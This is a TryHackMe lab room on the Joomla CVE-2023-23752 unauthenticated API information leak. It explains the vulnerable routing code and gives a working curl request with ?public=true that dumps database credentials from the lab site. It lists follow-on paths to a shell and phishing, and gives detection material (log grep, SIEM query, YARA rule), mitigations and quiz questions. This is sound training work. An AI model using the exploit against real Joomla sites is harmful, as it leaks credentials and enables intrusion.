To access material, start machines and answer questions login.
Joomla is a free and open-source Content Management System (CMS) that is widely used to build blogging websites. At the time of writing , the platform ranks 5th, surpassing other vital platforms like Bitrix, Drupal, etc. In Feb 2023, the platform identified a vulnerability that allowed unauthorized users to fetch information from various web endpoints without prior authentication. The vulnerability was identified by Zewei Zhang from NSFOCUS TIANJI Lab and was assigned the severity Medium
and CVE-ID 2023-23752
.
- Primary techniques to exploit a Joomla CMS through CVE 2023-23752
- How medium-level vulnerabilities can lead from information disclosure to complete Remote Code Execution (RCE)
- Protection and mitigation measures
Course Pre-requisites
Understanding the following topics is recommended before starting the course:-
Connecting to the Machine
We will use a Ubuntu-based machine to demonstrate the room's red and blue team perspective. L et’s start the Virtual Machine by pressing the Start Machine
button at the top of this task. You may access the VM using the AttackBox or your VPN connection . Please wait 1-2 minutes after the system boots completely to let the auto scripts run successfully.
You can access the vulnerable Joomla application hosted at http://MACHINE_IP
for the red teaming exercise.
For the blue team exercise and prevention from the attack, we have installed an AWS OpenSearch SIEM solution that will allow detection of the vulnerability and attack through pre-defined rules.
- IP:
http://MACHINE_IP:5601/
- Username:
admin
- Password:
admin
Let's begin!
The vulnerability occurs due to improper access checks against a particular GET request variable. Joomla CMS allows administrators/visitors to interact with the platform through three main entry points:
- Admin panel : Used for managing the website through the
/administrator
endpoint (only administrators can access the panel through a valid username and password) - Root directory : The root
index.php
file renders the overall website (primarily renders content for the visitors) - API folder : This folder is mainly designed for the developers to access the website content/database and, by default, disabled for general public access
The vulnerability CVE 2023-23752 takes advantage of the API-based endpoints. It enables users to access the endpoint without authentication by manipulating the GET variable public
value from false to true . For example, if there is an API call to http://MACHINE_IP/api/index.php/v1/contacts
. The API calls are not usually enabled for the general public; however, if the attacker sets the public
variable value, he can bypass the code access checks and get a valid API response.
Detail Technical Explanation
To understand how the vulnerability works, let's have a source code review to understand the control flow through different pages. We will use a vulnerable version of Joomla that can be downloaded directly from this link . You can find a similar folder structure once you extract it on the desktop.
In the api
folder, there is an index.php
file responsible for handling all the API-based calls. The index.php further calls the app.php located in the includes
folder.
/**
* Constant that is checked in included files to prevent direct access.
* define() is used rather than "const" to not error for PHP 5.2 and lower
*/
define('_JEXEC', 1);
// Run the application - All executable code should be triggered through this file
require_once dirname(__FILE__) . '/includes/app.php';
Inside the app.php
, the $app
variable is the most important one, storing all the HTTP request parameters and other information.
// Instantiate the application.
$app = $container->get(\Joomla\CMS\Application\ApiApplication::class);
// Set the application as global app
\Joomla\CMS\Factory::$application = $app;
// Execute the application.
$app->execute();
Once the $app->execute()
function is executed, it calls the execute()
function in the CMSApplication.php file and performs all the quick checks on system variables, sets up logging, and further calls the doExecute()
function in ApiApplication.php
.
public function execute()
{
try
{
$this->sanityCheckSystemVariables();
$this->setupLogging();
$this->createExtensionNamespaceMap();
// Perform application routines.
$this->doExecute();
The doExecute()
function is important and contains calls to three simple functions for initializing the app, setting up the routes, and rendering the application. Inside the doExecute()
function, we have a call to $this->route()
function, which sets all the routing parameters, fills the input variable, etc.
protected function doExecute()
{
// Initialise the application
$this->initialiseApp();
// Mark afterInitialise in the profiler.
JDEBUG ? $this->profiler->mark('afterInitialise') : null;
// Route the application
$this->route();
Within the route function, there is a call to parseApiRoute()
function of ApiRouter.php
that parses the requested API request and returns an array. Here, we can see that the vars
variable can be overwritten through any user-supplied input .
foreach ($route->getRouteVariables() as $i => $var)
{
$vars[$var] = $matches[$i + 1];
}
$controller = preg_split("/[.]+/", $route->getController());
$vars = array_merge($vars, $query);
return [
'controller' => $controller[0],
'task' => $controller[1],
'vars' => $vars
];
The route()
function contains the necessary code to throw an exception in case the variable's value is false or not set; however, it fails to ensure that the user-supplied should not change the variable's value.
$this->triggerEvent('onAfterApiRoute', array($this));
if (!isset($route['vars']['public']) || $route['vars']['public'] === false)
{
if (!$this->login(array('username' => ''), array('silent' => true, 'action' => 'core.login.api')))
{
throw new AuthenticationFailed;
}
}
}
Moving forward, we will see how to exploit the vulnerability from an attacker's perspective.
What folder name contains all the admin-related files and code in Joomla?
What GET request variable name can the attacker manipulate to trigger CVE 2023-23752?
Exploiting the vulnerability is simple for a red teamer and only requires setting the value of the public variable from false to true while making the API call. The list of API calls related to users, content, banners, application configuration, etc., can be found at this link.
A general description of normal and malicious API calls is shown below:
thm@ubuntu$ curl -v http://MACHINE_IP/api/index.php/v1/config/application?public=true {"links":{"self":"http:\/\/MACHINE_IP\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/MACHINE_IP\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/MACHINE_IP\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"220","attributes":{"offline":false,"id":220}},{"type":"application","id":"220","attributes":{"offline_message":"This site is down for maintenance.
Please check back again soon.","id":220}},{"type":"application","id":"220","attributes":{"display_offline_message":1,"id":220}},{"type":"application","id":"220","attributes":{"offline_image":"","id":220}},{"type":"application","id":"220","attributes":{"sitename":"Joomify Website","id":220}},{"type":"application","id":"220","attributes":{"editor":"tinymce","id":220}},{"type":"application","id":"220","attributes":{"captcha":"0","id":220}},{"type":"application","id":"220","attributes":{"list_limit":20,"id":220}},{"type":"application","id":"220","attributes":{"access":1,"id":220}},{"type":"application","id":"220","attributes":{"debug":false,"id":220}},{"type":"application","id":"220","attributes":{"debug_lang":false,"id":220}},{"type":"application","id":"220","attributes":{"debug_lang_const":true,"id":220}},{"type":"application","id":"220","attributes":{"dbtype":"mysqli","id":220}},{"type":"application","id":"220","attributes":{"host":"localhost","id":220}},{"type":"application","id":"220","attributes":{"user":"root","id":220}},{"type":"application","id":"220","attributes":{"password":"tesla@musk","id":220}},{"type":"application","id":"220","attributes":{"db":"joomla_db","id":220}},{"type":"application","id":"220","attributes":{"dbprefix":"uh020_","id":220}},{"type":"application","id":"220","attributes":{"dbencryption":0,"id":220}},{"type":"application","id":"220","attributes":{"dbsslverifyservercert":false,"id":220}}],"meta":{"total-pages":4}}* Connection #0 to host MACHINE_IP left intact
Possible Impact
Since the API allows information leakage, including sensitive database credentials, a few of the possible avenues for exploitation are mentioned below:
- Password re-use vulnerability to log in to the admin panel of the Joomla application or the server through SSH/VNC.
- Connecting to the database and uploading the shell leads to
remote code execution
. - Extracting private information of the website users and launching spear-phishing campaigns
What is the password for the database user root?
What is the HTTP response code if an API endpoint is accessed without setting the public variable as true?
What is the website address for contact ID 1 of the vulnerable Joomla application?
In the previous task, we learned that the vulnerability can be exploited by setting the value of the public variable to true while requesting an API call. This means that although the legitimate API calls can also be targeted to the same endpoint, any API call that sets the value of the public variable to true is essentially trying to exploit the vulnerability for leaking information.
Examining Logs
If we have a SIEM solution that captures weblogs, we can create an alert or use this search query to look for any exploitation attempt. Before diving into SIEM, let's explore the Apache access logs that are placed at /var/log/apache2/access.log
.
Access.log Content
If we open the access.log file in the text editor, we can explore different web request logs, as shown below:
10.9.0.191 - - [21/Jul/2023:07:05:12 +0000] "POST /administrator/index.php HTTP/1.1" 200 4052 "http://10.10.104.178/administrator/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.9.0.191 - - [21/Jul/2023:07:13:30 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.11.41.113 - - [21/Jul/2023:07:18:51 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"
10.9.0.191 - - [21/Jul/2023:07:19:12 +0000] "POST /administrator/index.php HTTP/1.1" 200 4050 "http://10.10.104.178/administrator/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.9.0.191 - - [21/Jul/2023:07:27:30 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.11.41.113 - - [21/Jul/2023:07:32:51 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"
10.9.0.191 - - [21/Jul/2023:07:33:30 +0000] "POST /administrator/index.php HTTP/1.1" 200 4050 "http://10.10.104.178/administrator/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.9.0.191 - - [21/Jul/2023:07:41:30 +0000] "POST /index.php/component/ajax/?format=json HTTP/1.1" 200 703 "http://10.10.104.178/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
10.11.41.113 - - [21/Jul/2023:07:46:42 +0000] "GET /api/index.php/v1/application?public=true HTTP/1.1" 404 652 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"
10.9.0.191 - - [21/Jul/2023:07:47:30 +0000] "POST /administrator/index.php HTTP/1.1" 200 4054 "http://10.10.104.178/administrator/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
As we learned in the previous task, the attacker attempts to gain unauthorized access to the various endpoints via an API call over the GET request; we can see the HTTP request that can confirm the potential exploitation attempt. Each suspicious request may contain the following terms that we can use to detect the attack attempt:
- http.method = GET
- http.URI contains /api/index.php
- HTTP.URI contains public=true
Use the following command to search for the possible attack attempt manually in the logs :
Command : tail /var/log/apache2/access.log | grep 'public=true'
It will return the log indicating an exploitation attempt.
Now, Open the OpenSearch SIEM instance at http://MACHINE_IP:5601
. You can use the credentials shared in task 1 to log in. If you see a pop-up asking to select your tenant, select private and press confirm
to move forward. Go to the Discover tab by selecting it from the menu in the top-left corner, and use the following search query to identify the event that shows the exploitation attempt. In the below screenshot, we have selected the fields agent
, host
, method
, and path
so that we get the required parameters in a tabular form.
Search Query : method:GET AND path:("*public=true*") AND path:"*api/index.php*"
Rule
In a SOC environment, we would like to be alerted when an attempt is made to exploit the vulnerability. How we set the rule for alerting will depend on each SIEM solution, but the parameters of the rule will remain the same. We can create a rule in OpenSearch by visiting Menu > Alerting > Monitors > Create Monitor
. In the attached VM, we have already created this rule based on the following parameters:

Alerting
Let's examine the Alerting tab to see if the exploitation attempt has created any alerts. In the left-sidebar, click on the Alerting tab, as shown below:

In the Alerts tab, the rules have triggered the alerts multiple times. The alerts tab shows how many times the rule has been triggered.
From a detection point of view, it's important to have complete network visibility to detect any anomalies within the network.
Host-based Detection
From the host-detection point of view, as these changes are reflected in the log file on the disk, we can use a file-based pattern-matching tool called YARA to identify the exploitation attempt.
rule CVE_2023_23752_Detection
{
meta:
description = "Rule to detect CVE-2023-23752 exploitation attempt"
author = "Joomify"
strings:
$http_method = "GET"
$api = "api/index.php" nocase
$http_uri = {70 75 62 6C 69 63 3D 74 72 75 65} // public=true
condition:
all of them
}
The above yara rule can be used to detect the attack patterns in the Apache logs, by running the command as shown below:
Command: yara -r -m CVE-2023-23752.yar /var/log/apache2/
The expected output is shown below:
The above output indicates that YARA was able to identify the three strings from the access.log
files, indicating a potential exploitation attempt.
Note: To learn more about YARA, check out this introductory room on YARA .
Mitigation steps
So far, we learned how to perform the attack and how to detect the attack patterns in the logs and on the disk; let's talk about a few mitigation steps that we can take to prevent our servers from being exploited.
- Update the Joomla version. Make sure the Joomla version is not 4.0.0 through 4.0.7.
- Update the alerts in the detection tools so they are notified as soon as an exploitation attempt is made.
- Add a reverse proxy or a WAF in front of the Joomla website and block requests to the API endpoint that tries to change the public.
In the monitoring tab of the Alerting section, what is the name of the alert that detects a Joomla exploit attempt?
This is it. As Joomla is a widely used CMS and this vulnerability is still being exploited in the wild, it is recommended that Joomla be kept updated to avoid such vulnerabilities from being exploited. In this room, we learned the following:
- The latest vulnerability in Joomla CMS, which is assigned a CVE ID 2023-23752
- Simple ways to exploit the vulnerability to gain unauthorized access to different endpoints with a simple GET request
- How to detect exploitation attempts in logs using YARA
- How to mitigate the vulnerability
Let us know what you think about this room on our Discord channel or Twitter account. See you around.
Created by
Room Type
Free Room. Anyone can deploy virtual machines in the room (without being subscribed)!
Users in Room
3,267
Created
374 days ago
Ready to learn Cyber Security? Create your free account today!
TryHackMe provides free online cyber security training to secure jobs & upskill through a fun, interactive learning environment.
Already have an account? Log in